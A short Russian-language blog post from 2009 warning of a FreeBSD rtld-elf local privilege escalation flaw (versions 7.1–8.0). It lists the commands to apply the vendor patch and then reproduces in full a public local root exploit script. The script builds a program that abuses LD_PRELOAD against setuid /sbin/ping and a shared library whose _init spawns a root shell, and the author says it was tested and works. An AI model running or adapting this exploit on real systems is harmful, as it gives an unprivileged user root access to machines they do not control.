Опасная уязвимость FreeBSD

Автор: | 2 декабря 2009

В операционной системе FreeBSD найдена опасная уязвимость. Эксплойт вышел в паблик раньше, чем патч, так что скорее включайте /dev/hands:

cd /usr/src/libexec/rtld-elf
fetch https://people.freebsd.org/~cperciva/rtld.patch
patch < rtld.patch
make & make install

Уязвимости подвержены все версии от 7.1 до 8.0.

Сам эксплойт под катом.

ЗЫ

Проверено, эксплойт работает.

ЗЗЫ

У меня не получилось пропатчить, скопировать кусок кода вручную. Дырка закрыта 🙂

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env


Добавить комментарий